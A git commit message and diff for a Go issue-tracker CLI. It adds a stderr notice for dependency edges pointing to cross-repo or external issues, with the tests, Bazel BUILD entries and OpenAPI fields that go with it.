adds the BUILD-file sync the required Bazel lane needs, plus one comment correction: - cmd/bd/BUILD.bazel and internal/workapi/BUILD.bazel now list the three test files this change adds. The relevant failure is not a broken build: bazel.yml`s "BUILD files in sync" step (:382-406) runs `make bazel-sync` and exits 1 on a non-empty `git status --porcelain`, and that step`s job is BAZEL_TEST, one of seven Bazel rows in pr.yml`s CI_GATE_REQUIRED (:1496-1524, mapped at :1551), so the drift reds a required lane rather than merely leaving the files invisible to Bazel. The repo`s own fixture agrees: scripts/ci_workflow_test.go`s bazelLaneGateIDs holds bazel-test, and bazelAdvisoryLanes retains only bazel-integration. The rows are gazelle output rather than hand-written. `make bazel-sync` on this head proposes five; init_git_bootstrap_routing_test.go and init_role_environment_test.go are base staleness that origin/main already lists, and a run on the merge target proposes them not at all, so only the three this change owns are committed. Certificate, run on the merge target rather than argued: merge origin/main into this head, resolve, `make bazel-sync`, then `git status --porcelain --untracked-files=all` is empty -- which is exactly the gate step`s own test, and it also confirms the resolution is byte-identical to what gazelle emits. `bazel build //cmd/bd:bd_test //internal/workapi:workapi_test` on that tree completes successfully, so the widened srcs lists compile. These rows do introduce a merge conflict this change did not have before: origin/main added show_watch_loop_test.go into the same slot of the same sorted srcs list in cmd/bd/BUILD.bazel. It is an add/add with an empty base -- neither side edits shared text -- and the resolution is the sorted union of all three rows, which is what gazelle emits and what the certificate above was run against. - The ordering comment`s measurement clause named show.go and show_display.go while the claim was true of three call sites, the third being the show_proxied_server.go site this fixup added. It now names all three, re-measured at this head: reversing readDepCounts below its listings at every site leaves the selector green -- 35 subtests across TestWarnUnresolvableDepEdges, TestEmbeddedShowUnresolvableDeps and TestProxiedServerShow2. Maintainer fixup for PR #6352, review iterations 1-2. --------- Co-authored-by: Gas City Adopt-PR --- cmd/bd/BUILD.bazel | 2 + cmd/bd/show.go | 19 +- cmd/bd/show_display.go | 140 ++++++++- cmd/bd/show_proxied_integration_test.go | 52 ++++ cmd/bd/show_proxied_server.go | 50 ++- .../show_unresolvable_deps_embedded_test.go | 120 +++++++ cmd/bd/show_unresolvable_deps_unit_test.go | 214 +++++++++++++ internal/httpapi/spec/openapi.v0.yaml | 41 +++ internal/types/types.go | 32 ++ internal/workapi/BUILD.bazel | 1 + internal/workapi/detail.go | 43 ++- internal/workapi/detail_unresolvable_test.go | 293 ++++++++++++++++++ 12 files changed, 998 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/show_unresolvable_deps_embedded_test.go create mode 100644 cmd/bd/show_unresolvable_deps_unit_test.go create mode 100644 internal/workapi/detail_unresolvable_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 1d4eb2992..1e83278c7 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1082,6 +1082,8 @@ go_test( "show_proxied_watch_integration_test.go", "show_test.go", "show_unit_helpers_test.go", + "show_unresolvable_deps_embedded_test.go", + "show_unresolvable_deps_unit_test.go", "show_watch_loop_test.go", "show_watch_test.go", "simple_helpers_test.go", diff --git a/cmd/bd/show.go b/cmd/bd/show.go index e2609cf8a..37930588a 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -230,13 +230,18 @@ var showCmd = &cobra.Command{ relatedSeen := make(map[string]*types.IssueWithDependencyMetadata) // Show dependencies - grouped by dependency type for clarity - depsWithMeta, _ := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) // Best effort: show issue even if deps unavailable + // Counts first — see readDepCounts for why the order matters. + depCountsSnapshot := readDepCounts(ctx, issueStore, issue.ID) + // The errors are KEPT, not discarded: rendering stays best + // effort, but a FAILED listing and a SHORT one both leave the + // slice empty, and only the second is an unresolvable edge. + depsWithMeta, depsErr := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) // Best effort: show issue even if deps unavailable for _, sec := range groupDepSections(depsWithMeta, true, relatedSeen) { printDepSection(sec) } // Show dependents - grouped by dependency type for clarity - dependentsWithMeta, _ := issueStore.GetDependentsWithMetadata(ctx, issue.ID) // Best effort: show issue even if dependents unavailable + dependentsWithMeta, dependentsErr := issueStore.GetDependentsWithMetadata(ctx, issue.ID) // Best effort: show issue even if dependents unavailable for _, sec := range groupDepSections(dependentsWithMeta, false, relatedSeen) { printDepSection(sec) if sec.Type == types.DepParentChild && issue.IssueType == types.TypeEpic { @@ -244,6 +249,16 @@ var showCmd = &cobra.Command{ } } + // Both listings above drop every edge whose far end has no row in + // this database, so a cross-repo or `external:` dependency renders + // as no dependency at all — indistinguishable from having none + // (be-lpi). --json says so in unresolvable_dependencies; say it + // here too, or `bd dep add x liveop-y` reports success and then + // `bd show x` shows nothing. + warnUnresolvableDepEdges(issue.ID, depCountsSnapshot, + depListing{rows: len(depsWithMeta), err: depsErr}, + depListing{rows: len(dependentsWithMeta), err: dependentsErr}) + printRelatedSection(relatedSeen) // Show comments diff --git a/cmd/bd/show_display.go b/cmd/bd/show_display.go index 8ff78de67..fcb21275c 100644 --- a/cmd/bd/show_display.go +++ b/cmd/bd/show_display.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "os" "os/signal" @@ -159,17 +160,28 @@ func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { // Dependencies (what this issue depends on) relatedSeen := make(map[string]*types.IssueWithDependencyMetadata) - depsWithMeta, _ := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) + // Counts first — see readDepCounts for why the order matters. + depCountsSnapshot := readDepCounts(ctx, issueStore, issue.ID) + depsWithMeta, depsErr := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) for _, sec := range groupDepSections(depsWithMeta, true, relatedSeen) { printDepSection(sec) } // Dependents (what depends on this issue) - dependentsWithMeta, _ := issueStore.GetDependentsWithMetadata(ctx, issue.ID) + dependentsWithMeta, dependentsErr := issueStore.GetDependentsWithMetadata(ctx, issue.ID) for _, sec := range groupDepSections(dependentsWithMeta, false, relatedSeen) { printDepSection(sec) } + // Shared with the non-watch path in show.go and with proxiedRenderIssue in + // show_proxied_server.go, so all THREE text renders of `bd show` disclose + // the same fact (be-lpi). --refs and --children are deliberately out of + // scope: they answer an alternate query with no count beside it to + // contradict. + warnUnresolvableDepEdges(issue.ID, depCountsSnapshot, + depListing{rows: len(depsWithMeta), err: depsErr}, + depListing{rows: len(dependentsWithMeta), err: dependentsErr}) + // Related (bidirectional, deduplicated) printRelatedSection(relatedSeen) @@ -189,3 +201,127 @@ func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { fmt.Println() return issue } + +// unresolvableDepCounter is the slice of the store warnUnresolvableDepEdges +// reads. Both counts are O(1) aggregate queries over the dependency tables. +// depListing is one direction's rendered edge list: how many rows reached the +// screen, and whether the read that produced them succeeded. The error is the +// load-bearing half — a failed read and a genuinely short one are both an +// empty slice, and only the second means an edge could not be represented. +type depListing struct { + rows int + err error +} + +// depCount is one direction's aggregate, carried with its own error for the +// same reason depListing is. +type depCount struct { + n int64 + err error +} + +type depCounts struct { + deps depCount + dependents depCount +} + +var errNoDepCounter = errors.New("no dependency counter available") + +type unresolvableDepCounter interface { + CountDependencies(ctx context.Context, issueID string) (int64, error) + CountDependents(ctx context.Context, issueID string) (int64, error) +} + +// readDepCounts and warnUnresolvableDepEdges are split so the COUNTS ARE READ +// BEFORE THE ROW LISTINGS, which all three call sites do. The store issues a +// connection per call, so a concurrent write can land between the count and the +// listing; counting first puts that skew on the safe side, because an edge +// ADDED in the window leaves the count stale-LOW and the difference goes +// negative and is suppressed. Counting afterwards would announce a freshly +// added local edge as unresolvable. A concurrent DELETE still produces a +// spurious notice — the residual, and the reason this is an ordering mitigation +// rather than a fix (be-lpi; the real fix is a shared snapshot or a direct +// count of edges whose target has no row). +// +// SCOPE OF THAT ORDER, because the split is easy to read as more than it is: +// it makes the order VISIBLE at the call sites, and does not enforce it. +// Nothing in this package fails if a later edit moves a readDepCounts call +// below its listings — measured, not assumed: moving it in all three of +// show.go, show_display.go and show_proxied_server.go leaves the whole cmd/bd +// selector green, including the embedded production-path test and the proxied +// integration test, because the unit test drives +// warnUnresolvableDepEdges directly and no CLI test can land a write inside +// the window. The only automated pin is one tier down, on +// TestBuildIssueDetails_ConcurrentAddIsNotReportedAsUnresolvable, which covers +// BuildIssueDetails rather than these three renders. Treat the order here as a +// convention carried by this comment. +// +// warnUnresolvableDepEdges prints a stderr-only notice when an issue has +// dependency edges that the rendered listings could not show. +// +// GetDependenciesWithMetadata and GetDependentsWithMetadata answer with the +// ISSUES on the far end of each edge and skip any whose id has no row in this +// database — a cross-repo id or an `external:` reference, both of which live +// in depends_on_external, the one target column carrying no foreign key into +// issues (issueops.IsExternalDepTarget). The count queries have no such join, +// so they keep those edges. The difference is exactly the set of edges that +// are real, stored, and unrenderable from here. +// +// Until be-lpi this difference was silent, and `bd dep add x liveop-y` +// reported success while the `bd show x` a caller ran straight after showed +// no dependency at all — indistinguishable from the edge never having been +// written. The JSON detail view publishes the same fact as +// unresolvable_dependencies / unresolvable_dependents. +// +// stderr only, so the rendered issue on stdout is byte-identical for the +// common fully-local case — the same choice warnDroppedDepEdges makes in +// dep.go for the same reason. Best effort: a count error is swallowed, since +// the issue has already been rendered successfully by the time this runs. +func readDepCounts(ctx context.Context, store unresolvableDepCounter, issueID string) depCounts { + if store == nil { + return depCounts{deps: depCount{err: errNoDepCounter}, dependents: depCount{err: errNoDepCounter}} + } + var c depCounts + c.deps.n, c.deps.err = store.CountDependencies(ctx, issueID) + c.dependents.n, c.dependents.err = store.CountDependents(ctx, issueID) + return c +} + +func warnUnresolvableDepEdges(issueID string, counts depCounts, deps, dependents depListing) { + report := func(kind string, count int64, countErr error, listing depListing) bool { + // BOTH reads have to have succeeded. The count alone cannot tell a + // SHORT listing from a FAILED one — each leaves an empty slice — and + // warning on the second turns a transient backend error into a claim + // about the data, which is the more expensive of the two mistakes. + if countErr != nil || listing.err != nil { + return false + } + missing := count - int64(listing.rows) + if missing <= 0 { + return false + } + fmt.Fprintf(os.Stderr, "warning: %s has %d %s edge(s) whose far end has no row in this database (cross-repo/external) and are not shown above\n", + issueID, missing, kind) + return true + } + outbound := report("dependency", counts.deps.n, counts.deps.err, deps) + inbound := report("dependent", counts.dependents.n, counts.dependents.err, dependents) + + // The recovery pointer is OUTBOUND-ONLY, because the command it names is. + // `bd dep list ` reaches raw edge records through the duplicate-id + // form, which dep.go:1101 selects on `batchMode && direction == "down"` + // (--direction defaults to "down"); the other branch is the Relations + // query, which has the very far-end gap being reported here. dep.go:1144 + // records in the repo's own words that "up" has the same gap and no + // inbound EdgeReader role exists to close it. Printing the pointer for an + // issue short only on DEPENDENT edges would hand the reader a command that + // cannot show them, so that case says what is actually true instead. + if outbound { + // Named once, after both directions, so an issue short on each gets + // one pointer rather than two. + fmt.Fprintf(os.Stderr, "For raw edge records, run: bd dep list %s %s\n", issueID, issueID) + } + if inbound { + fmt.Fprintln(os.Stderr, "The unrenderable dependent edges have no raw CLI listing yet: bd dep list is outbound-only.") + } +} diff --git a/cmd/bd/show_proxied_integration_test.go b/cmd/bd/show_proxied_integration_test.go index 0dc2c961d..32a914ce8 100644 --- a/cmd/bd/show_proxied_integration_test.go +++ b/cmd/bd/show_proxied_integration_test.go @@ -430,6 +430,58 @@ func TestProxiedServerShow2(t *testing.T) { } }) + // be-lpi ROUTE COVERAGE. `bd show` has three text renders and this is the + // one a server-backed repo actually takes: usesProxiedServer() returns at + // show.go:45 before any of the direct path, and the shared issueops.Reader + // that carries unresolvable_dependencies is bound only for --json, so + // without an explicit call in proxiedRenderIssue plain text renders a + // cross-repo edge as no dependency at all — the exact symptom the change + // exists to remove, surviving on the route most exposed to it. The + // precedent this design follows, warnDroppedDepEdges, covers both of its + // own routes (dep.go:1148 and dep_proxied_server.go:457). + t.Run("show_discloses_unresolvable_dep_edges", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "sud") + subject := bdProxiedCreate(t, bd, p.dir, "Subject with a cross-repo edge", "--type", "task") + bdProxiedDep(t, bd, p.dir, "add", subject.ID, "liveop-kmf", "--type", "blocks") + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "show", subject.ID) + if err != nil { + t.Fatalf("bd show failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stderr, "no row in this database") { + t.Errorf("proxied bd show did not disclose the unrenderable edge:\nstderr:\n%s", stderr) + } + // Same contract as the direct route: stdout stays byte-identical for + // scripts, so assert on the streams apart or this passes on a build + // that prints the notice in the wrong place. + if strings.Contains(stdout, "no row in this database") { + t.Errorf("the notice reached stdout, which must stay unchanged:\n%s", stdout) + } + }) + + // The negative control for the case above, and the load-bearing half: + // without it every assertion there is satisfied by a build that warns + // unconditionally. + t.Run("show_stays_silent_on_a_fully_local_edge", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "sul") + blocker := bdProxiedCreate(t, bd, p.dir, "Local blocker", "--type", "task") + subject := bdProxiedCreate(t, bd, p.dir, "Fully local subject", "--type", "task") + bdProxiedDep(t, bd, p.dir, "add", subject.ID, blocker.ID, "--type", "blocks") + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "show", subject.ID) + if err != nil { + t.Fatalf("bd show failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if strings.Contains(stderr, "no row in this database") { + t.Errorf("proxied bd show warned about a fully local edge:\nstderr:\n%s", stderr) + } + if !strings.Contains(stdout, blocker.ID) { + t.Errorf("expected the local dependency rendered on stdout:\n%s", stdout) + } + }) + t.Run("show_not_found_json_envelope", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "snj") diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index fee04107b..7d66ce7c5 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -162,6 +162,31 @@ func proxiedListDeps(ctx context.Context, uw uow.UnitOfWork, id string, isWisp b return uw.DependencyUseCase().ListWithIssueMetadata(ctx, id, filter) } +// proxiedDepCounter adapts the detail source's dependency aggregates onto +// unresolvableDepCounter, which the direct route satisfies with the store and +// which therefore carries no isWisp flag: the store seam resolves that routing +// internally, while the domain use cases behind a proxied unit of work are +// per-table and have to be told which side to read. +// +// The two queries are the same arithmetic either way — CountDependencyEdgesInTx +// counts `dependencies` plus `wisp_dependencies` with no join to `issues`, +// while the listing behind proxiedListDeps runs the very +// GetDependenciesWithMetadataInTx / GetDependentsWithMetadataInTx the direct +// route runs, so it drops the same unrenderable far ends. The difference +// therefore means here exactly what it means there. +type proxiedDepCounter struct { + src workapi.DetailSource + isWisp bool +} + +func (c proxiedDepCounter) CountDependencies(ctx context.Context, id string) (int64, error) { + return c.src.CountDependencies(ctx, id, c.isWisp) +} + +func (c proxiedDepCounter) CountDependents(ctx context.Context, id string) (int64, error) { + return c.src.CountDependents(ctx, id, c.isWisp) +} + func proxiedGetComments(ctx context.Context, uw uow.UnitOfWork, id string, isWisp bool) ([]*types.Comment, error) { if isWisp { return uw.CommentUseCase().GetCommentsForWisp(ctx, id) @@ -545,12 +570,18 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss relatedSeen := make(map[string]*types.IssueWithDependencyMetadata) - depsWithMeta, _ := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionOut}) + // Counts first — see readDepCounts for why the order matters. + depCountsSnapshot := readDepCounts(ctx, proxiedDepCounter{src: workapi.NewUOWDetailSource(uw), isWisp: isWisp}, issue.ID) + + // The errors are KEPT, not discarded: rendering stays best effort, but a + // FAILED listing and a SHORT one both leave the slice empty, and only the + // second is an unresolvable edge. + depsWithMeta, depsErr := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionOut}) for _, sec := range groupDepSections(depsWithMeta, true, relatedSeen) { printDepSection(sec) } - dependentsWithMeta, _ := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionIn}) + dependentsWithMeta, dependentsErr := proxiedListDeps(ctx, uw, issue.ID, isWisp, domain.DepListFilter{Direction: domain.DepDirectionIn}) for _, sec := range groupDepSections(dependentsWithMeta, false, relatedSeen) { printDepSection(sec) if sec.Type == types.DepParentChild && issue.IssueType == types.TypeEpic { @@ -558,6 +589,21 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss } } + // The THIRD text render of `bd show`, and the one the first cut of be-lpi + // missed. usesProxiedServer() returns at show.go:45 before any of the + // direct-path code, and runShowProxiedDefault binds the shared + // issueops.Reader — hence BuildIssueDetails, hence + // unresolvable_dependencies — only `if jsonOutput && !in.shortMode`, so + // plain text falls through to here. Without this call a proxied + // `bd show ` still renders a cross-repo or `external:` dependency as + // no dependency at all: the exact symptom this change exists to remove, + // surviving on the route a server-backed repo actually uses. The + // precedent this design follows covers both of its own routes the same + // way — warnDroppedDepEdges at dep.go:1148 and dep_proxied_server.go:457. + warnUnresolvableDepEdges(issue.ID, depCountsSnapshot, + depListing{rows: len(depsWithMeta), err: depsErr}, + depListing{rows: len(dependentsWithMeta), err: dependentsErr}) + printRelatedSection(relatedSeen) comments, _ := proxiedGetComments(ctx, uw, issue.ID, isWisp) diff --git a/cmd/bd/show_unresolvable_deps_embedded_test.go b/cmd/bd/show_unresolvable_deps_embedded_test.go new file mode 100644 index 000000000..12f5d9fc4 --- /dev/null +++ b/cmd/bd/show_unresolvable_deps_embedded_test.go @@ -0,0 +1,120 @@ +//go:build cgo + +package main + +import ( + "os" + "os/exec" + "strings" + "testing" +) + +// TestEmbeddedShowUnresolvableDeps drives the PRODUCTION path for be-lpi: +// `bd dep add` writing a real edge, then `bd show` reading it back. The unit +// coverage in internal/workapi constructs the count/row skew directly, which +// proves the arithmetic and says nothing about whether any real command can +// produce that state — this does the opposite, and the two together are the +// claim. +// +// The stored shape being pinned is the one the town's convoy beads carry: +// depends_on_external holds a target this database has no row for, so every +// listing path drops it (issueops.GetDependenciesWithMetadataInTx) while every +// count keeps it. Before the fix that left `dependency_count: 1` beside +// `dependencies: null` with nothing saying why, and `bd show` in text mode +// rendered no dependency section at all. +func TestEmbeddedShowUnresolvableDeps(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "ud") + + anchor := bdCreate(t, bd, dir, "Anchor with an external edge", "--type", "task") + local := bdCreate(t, bd, dir, "Fully local blocker", "--type", "task") + + // Both target shapes IsExternalDepTarget classifies as external: an + // explicit `external:` reference, and a bare id whose prefix names + // another repository. They land in the same column and fail the same + // way, so pinning only one would leave the commoner of the two — + // `bd dep add ud-x liveop-y` — uncovered. + for _, tc := range []struct { + name string + target string + depTyp string + }{ + {"external_reference", "external:liveop:liveop-kmf", "tracks"}, + {"cross_repo_prefix", "liveop-kmf", "blocks"}, + } { + t.Run(tc.name, func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Subject "+tc.name, "--type", "task") + bdDep(t, bd, dir, "add", subject.ID, tc.target, "--type", tc.depTyp) + + details := bdShowDetails(t, bd, dir, subject.ID) + depCount, ok := details["dependency_count"].(float64) + if !ok || depCount != 1 { + t.Fatalf("dependency_count = %v, want 1 — the edge must still be counted", + details["dependency_count"]) + } + if deps, present := details["dependencies"]; present && deps != nil { + if list, isList := deps.([]interface{}); isList && len(list) != 0 { + t.Fatalf("dependencies = %v, want empty: the target has no row in this database", deps) + } + } + unresolvable, ok := details["unresolvable_dependencies"].(float64) + if !ok || unresolvable != 1 { + t.Fatalf("unresolvable_dependencies = %v, want 1 — a count the caller cannot enumerate must say so (be-lpi)", + details["unresolvable_dependencies"]) + } + + // Text mode: the notice goes to stderr, so stdout stays + // byte-identical for scripts. Assert on stderr alone, or + // this passes on a build that prints nothing anywhere. + stdout, stderr := runShowSplit(t, bd, dir, subject.ID) + if !strings.Contains(stderr, "no row in this database") { + t.Errorf("bd show stderr did not disclose the unrenderable edge:\nstderr:\n%s", stderr) + } + if strings.Contains(stdout, "no row in this database") { + t.Errorf("the notice reached stdout, which must stay unchanged:\n%s", stdout) + } + }) + } + + // NEGATIVE CONTROL, and it is the load-bearing half: a fully local edge + // must leave the field unset and stderr silent. Without it every + // assertion above is satisfied by a build that reports every issue as + // having unresolvable edges. + t.Run("fully_local_control", func(t *testing.T) { + bdDep(t, bd, dir, "add", anchor.ID, local.ID, "--type", "blocks") + + details := bdShowDetails(t, bd, dir, anchor.ID) + if v, present := details["unresolvable_dependencies"]; present { + t.Errorf("unresolvable_dependencies = %v on a fully local edge, want absent", v) + } + deps, _ := details["dependencies"].([]interface{}) + if len(deps) != 1 { + t.Errorf("dependencies = %v, want the one local edge", details["dependencies"]) + } + + _, stderr := runShowSplit(t, bd, dir, anchor.ID) + if strings.Contains(stderr, "no row in this database") { + t.Errorf("bd show warned about a fully local edge:\nstderr:\n%s", stderr) + } + }) +} + +// runShowSplit runs `bd show ` keeping stdout and stderr apart, which the +// shared helpers deliberately merge. The split is the whole point here: the +// notice's contract is that it appears on stderr and nowhere else. +func runShowSplit(t *testing.T, bd, dir, id string) (stdout, stderr string) { + t.Helper() + cmd := exec.Command(bd, "show", id) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + outBuf, errBuf, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd show %s failed: %v\nstdout:\n%s\nstderr:\n%s", id, err, outBuf.String(), errBuf.String()) + } + return outBuf.String(), errBuf.String() +} diff --git a/cmd/bd/show_unresolvable_deps_unit_test.go b/cmd/bd/show_unresolvable_deps_unit_test.go new file mode 100644 index 000000000..44efcb04e --- /dev/null +++ b/cmd/bd/show_unresolvable_deps_unit_test.go @@ -0,0 +1,214 @@ +package main + +import ( + "context" + "errors" + "strings" + "testing" +) + +// fakeDepCounter answers the two aggregate queries readDepCounts makes, +// independently of any listing. +type fakeDepCounter struct { + depCount int64 + depErr error + rdepCount int64 + rdepErr error +} + +func (f fakeDepCounter) CountDependencies(_ context.Context, _ string) (int64, error) { + return f.depCount, f.depErr +} +func (f fakeDepCounter) CountDependents(_ context.Context, _ string) (int64, error) { + return f.rdepCount, f.rdepErr +} + +// TestWarnUnresolvableDepEdges covers the text-mode disclosure, and in +// particular the case a codex review caught on the first cut of this change: +// `bd show` renders dependencies best effort and discarded the listing error, +// so a FAILED listing beside a SUCCEEDING count reported every edge the issue +// has as cross-repo/external. That turns a transient backend error into a +// claim about the data, which is worse than staying quiet — the same +// distinction BuildIssueDetails draws with depsErr on the JSON side, and the +// text path did not draw at all. +func TestWarnUnresolvableDepEdges(t *testing.T) { + boom := errors.New("backend down") + + tests := []struct { + name string + counter fakeDepCounter + deps depListing + dependents depListing + wantWarn bool + wantText string + // The recovery pointer follows the OUTBOUND direction alone, because + // `bd dep list ` is outbound-only (dep.go:1101/1144). An + // issue short only on dependent edges gets the inbound note instead, + // and these two fields are what stop a later edit from quietly + // pointing a reader at a command that cannot answer. + wantPointer bool + wantInboundNak bool + }{ + { + name: "one unrenderable outgoing edge", + counter: fakeDepCounter{depCount: 1}, + deps: depListing{rows: 0}, + wantWarn: true, + wantText: "1 dependency edge(s)", + wantPointer: true, + }, + { + name: "one unrenderable incoming edge", + counter: fakeDepCounter{rdepCount: 3}, + dependents: depListing{rows: 1}, + wantWarn: true, + wantText: "2 dependent edge(s)", + wantPointer: false, + wantInboundNak: true, + }, + { + // The negative control. Without it every assertion above is + // satisfied by a build that warns unconditionally. + name: "fully local, counts match the rows", + counter: fakeDepCounter{depCount: 2, rdepCount: 1}, + deps: depListing{rows: 2}, + dependents: depListing{rows: 1}, + wantWarn: false, + }, + { + name: "nothing at all", + counter: fakeDepCounter{}, + wantWarn: false, + }, + { + // The codex finding. The count is honest and the listing never + // ran; staying silent is the only correct answer. + name: "listing read FAILED, count succeeded", + counter: fakeDepCounter{depCount: 5}, + deps: depListing{rows: 0, err: boom}, + wantWarn: false, + }, + { + name: "dependents listing FAILED, count succeeded", + counter: fakeDepCounter{rdepCount: 5}, + dependents: depListing{rows: 0, err: boom}, + wantWarn: false, + }, + { + // Symmetric: the count is what failed. It yields 0, which cannot + // exceed any row total, but assert it rather than lean on the sign. + name: "count read FAILED", + counter: fakeDepCounter{depErr: boom}, + deps: depListing{rows: 0}, + wantWarn: false, + }, + { + // One direction is diagnosable and the other is not: the healthy + // half must still be reported. It is the INBOUND half here, so the + // outbound-only pointer must stay away even though the outbound + // direction is the one that failed. + name: "outgoing failed, incoming still reportable", + counter: fakeDepCounter{depCount: 4, rdepCount: 2}, + deps: depListing{rows: 0, err: boom}, + dependents: depListing{rows: 0}, + wantWarn: true, + wantText: "2 dependent edge(s)", + wantPointer: false, + wantInboundNak: true, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + counts := readDepCounts(context.Background(), tc.counter, "rp-1") + out := captureStderr(t, func() { + warnUnresolvableDepEdges("rp-1", counts, tc.deps, tc.dependents) + }) + if tc.wantWarn { + if !strings.Contains(out, "no row in this database") { + t.Errorf("expected a warning, got:\n%q", out) + } + if tc.wantText != "" && !strings.Contains(out, tc.wantText) { + t.Errorf("warning did not mention %q, got:\n%q", tc.wantText, out) + } + wantPointers := 0 + if tc.wantPointer { + wantPointers = 1 + if !strings.Contains(out, "bd dep list rp-1 rp-1") { + t.Errorf("warning did not name the recovery command, got:\n%q", out) + } + } + // The pointer is printed once however many directions warn, + // and not at all when only the inbound direction did. + if n := strings.Count(out, "For raw edge records"); n != wantPointers { + t.Errorf("recovery pointer printed %d times, want %d:\n%q", n, wantPointers, out) + } + wantNaks := 0 + if tc.wantInboundNak { + wantNaks = 1 + } + if n := strings.Count(out, "bd dep list is outbound-only"); n != wantNaks { + t.Errorf("inbound no-listing note printed %d times, want %d:\n%q", n, wantNaks, out) + } + } else if out != "" { + t.Errorf("expected silence, got:\n%q", out) + } + }) + } + + t.Run("both directions warn but the pointer is printed once", func(t *testing.T) { + counts := readDepCounts(context.Background(), fakeDepCounter{depCount: 1, rdepCount: 1}, "rp-1") + out := captureStderr(t, func() { + warnUnresolvableDepEdges("rp-1", counts, depListing{rows: 0}, depListing{rows: 0}) + }) + if n := strings.Count(out, "no row in this database"); n != 2 { + t.Errorf("expected two warnings, got %d:\n%q", n, out) + } + if n := strings.Count(out, "For raw edge records"); n != 1 { + t.Errorf("recovery pointer printed %d times, want 1:\n%q", n, out) + } + // Both facts are true at once and both are said: the pointer covers + // the outbound edges it can list, the note covers the inbound ones no + // command can. + if n := strings.Count(out, "bd dep list is outbound-only"); n != 1 { + t.Errorf("inbound no-listing note printed %d times, want 1:\n%q", n, out) + } + }) + + // A nil store yields counts carrying errNoDepCounter in both directions, + // which the report gate treats exactly like any other failed count read. + t.Run("nil store is a no-op", func(t *testing.T) { + counts := readDepCounts(context.Background(), nil, "rp-1") + out := captureStderr(t, func() { + warnUnresolvableDepEdges("rp-1", counts, depListing{rows: 0}, depListing{rows: 0}) + }) + if out != "" { + t.Errorf("expected silence, got:\n%q", out) + } + }) + + // The arithmetic half of the concurrency mitigation: a count that is + // stale-LOW relative to the listing — what a count read BEFORE a + // concurrent add looks like — must be suppressed rather than reported. + // + // SCOPE, stated because it would otherwise read as more than it is: this + // pins the SUBTRACTION only. The call-site ORDER that produces the + // stale-low count lives in show.go, show_display.go and + // show_proxied_server.go, none of which this test exercises. The split + // into readDepCounts plus warnUnresolvableDepEdges makes that order + // READABLE at those call sites and does not pin it — reversing it at all + // three leaves this package green, and + // TestBuildIssueDetails_ConcurrentAddIsNotReportedAsUnresolvable, one tier + // down on BuildIssueDetails, is the only case that actually fails. + t.Run("a stale-low count is suppressed, not reported", func(t *testing.T) { + counts := readDepCounts(context.Background(), fakeDepCounter{depCount: 1}, "rp-1") + out := captureStderr(t, func() { + // The listing observed the edge the count predates, plus one more + // added in the window. + warnUnresolvableDepEdges("rp-1", counts, depListing{rows: 2}, depListing{}) + }) + if out != "" { + t.Errorf("a concurrent add must not be reported as unresolvable, got:\n%q", out) + } + }) +} diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index ea95eaf16..7bd5a40dc 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -6712,6 +6712,47 @@ components: every such issue on a request that did not set `include_comments`. Without it, an absent `comments` key is ambiguous between "no comments" and "comments not included in this response". + unresolvable_dependencies: + type: integer + format: int64 + description: >- + How many of `dependency_count`'s edges `dependencies` could not + represent, because the issue on the far end has no row in this + database — a cross-repo id or an `external:` reference. The edge is + real and correctly stored; only its far end is unreachable from + here, so the listing drops it while the count keeps it. + + + Without it the count reads as phantom: a caller sees + `dependency_count: 1` beside an absent `dependencies`, finds + nothing under that id anywhere, and concludes the count is wrong. + It is not — the edge record itself is readable, and on the CLI + `bd dep list ` prints it. + + + ABSENT, NEVER ZERO, WHEN THERE IS NOTHING TO REPORT, and absent + too when the dependency read FAILED rather than came back short. + "Could not be represented" and "was never fetched" are different + facts and do not collapse into one member — the same distinction + `comments_omitted` draws. + unresolvable_dependents: + type: integer + format: int64 + description: >- + The inbound counterpart of `unresolvable_dependencies`, on the same + terms. + + + Present only on a request that set `include_dependents`. Without + those rows `dependents` is absent by design, so a difference taken + against it would report every dependent the issue has as + unresolvable. + + + Note the plane disagreement this creates: `bd show` in text mode + reads dependents unconditionally and therefore always discloses + the inbound direction on stderr, while a client of this field sees + it only when it asked for `include_dependents`. epic_total_children: type: integer 